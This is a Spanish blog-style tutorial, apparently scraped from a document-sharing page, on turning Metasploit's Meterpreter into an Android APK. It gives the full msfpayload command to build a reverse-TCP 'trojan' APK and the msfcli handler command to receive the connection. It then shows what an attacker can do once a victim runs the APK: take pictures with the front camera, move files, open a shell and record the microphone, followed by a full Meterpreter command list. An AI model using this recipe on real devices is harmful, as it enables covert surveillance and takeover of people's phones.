Sei sulla pagina 1di 6

Meterpreter en Android: El desembarco en tu Smartphone

Cuando le la noticia, gracias al post de Jos Selvi en su blog, me pareci algo normal y que era cuestin de tiempo. Aprovecharse del meterpreter de Java, para mudarlo a Android, sabiendo la conexin que hay entre ambos era cuestin de tiempo. Un meterpreter corriendo en mi smartphone es una de las cosas que menos gracia me podra hacer, si no se tratase de una prueba de concepto. La aplicacin para generar el APK ser msfpayload, con esta herramienta podemos generar shellcodes, tanto para lenguajes como C, Javascript, Ruby, como generar archivos binarios, los cuales contengan la shellcode. El caso tpico es el de nuestro troyano casero, o como generar un EXE con un Meterpreter de tipo inverso. En este caso, utilizaremos la aplicacin msfpayload para generar un APK para Android, el cual tendr un Main Activity un tanto curioso, y es que realmente lo que ejecutar ser el Meterpreter de Java modificado para poder correr en un Android. Utilizaremos msfcli para recibir la conexin inversa que es generada por la shellcode que se ejecuta en el terminal. En primer lugar generamos el APK con la instruccin: msfpayload android/meterpreter/reverse_tcp LHOST=<IP donde esperaremos> LPORT=<puerto donde se debe conectar> R > meter.apk
Ejemplo:

Una vez generado el bichito, lo que haremos es configurar msfcli para recibir la conexin inversa esperaremos a que el bichito vuelva a casa. Para ello, configuramos la herramienta de la siguiente manera: msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=<IP donde queremos que vuelva o por donde recibiremos las conexiones>
Ejemplo:

Una vez que la vctima ejecute el APK se ejecutar la shellcode que se encuentra dentro del binario, provocando la conexin inversa. Acordaros que Meterpreter es de tipo Stager, por lo que se realizar en dos etapas, primera de conexin y segunda de funcionalidades.

Ya disponemos de la sesin inversa y Qu podemos hacer con esto? Ms adelante os dejamos un listado de comandos disponibles en este Meterpreter, ms que nada las cosas que podras hacer con un Meterpreter de Java. Bien, como ejemplo grfico vamos a lanzar la captura de una imagen a travs de la cmara del propio dispositivo, mediante el uso del comando webcam_snap. Con el comando webcam_listpodemos listar las cmaras que dispone el dispositivo (frontal, trasera). Un ejemplo de captura de imagen de la cmara frontal del smartphone en el que se ejecuta la shellcode:

Tambin disponemos los comandos upload y download, para descargar y subir archivos al dispositivo, adems de una shell tal y como se puede visualizar en la imagen:

Por ltimo, me par a ver que podemos ver en el intrprete de Ruby, irb. Este tema es realmente interesante, ya que permitir a los interesados ahondar en el desarrollo de scripts de Meterpreter, del cual ya hemos hablado en Flu Project. Prximamente continuaremos con este interesante tema, entender a bajo nivel como funciona Meterpreter, y como con Ruby y la API de Meterpreter podemos hacer cosas muy interesantes.

Comandos utilizables con el Meterpreter de Android:


Core Commands =============

Command ------? background bgkill bglist bgrun thread

Description ----------Help menu Backgrounds the current session Kills a background meterpreter script Lists running background scripts Executes a meterpreter script as a background

channel close disable_unicode_encoding enable_unicode_encoding exit help info interact irb load quit read resource run use write

Displays information about active channels Closes a channel Disables encoding of unicode strings Enables encoding of unicode strings Terminate the meterpreter session Help menu Displays information about a Post module Interacts with a channel Drop into irb scripting mode Load one or more meterpreter extensions Terminate the meterpreter session Reads data from a channel Run the commands stored in a file Executes a meterpreter script or Post module Deprecated alias for 'load' Writes data to a channel

Stdapi: File system Commands ============================

Command ------cat cd download edit getlwd getwd lcd

Description ----------Read the contents of a file to the screen Change directory Download a file or directory Edit a file Print local working directory Print working directory Change local working directory

lpwd ls mkdir pwd rm rmdir search upload

Print local working directory List files Make directory Print working directory Delete the specified file Remove directory Search for files Upload a file or directory

Stdapi: Networking Commands ===========================

Command ------ifconfig ipconfig portfwd route

Description ----------Display interfaces Display interfaces Forward a local port to a remote service View and modify the routing table

Stdapi: System Commands =======================

Command ------execute getuid ps shell sysinfo

Description ----------Execute a command Get the user that the server is running as List running processes Drop into a system command shell Gets information about the remote system, such as OS

Stdapi: Webcam Commands =======================

Command ------record_mic webcam_list webcam_snap

Description ----------Record audio from the default microphone for X seconds List webcams Take a snapshot from the specified webcam

Potrebbero piacerti anche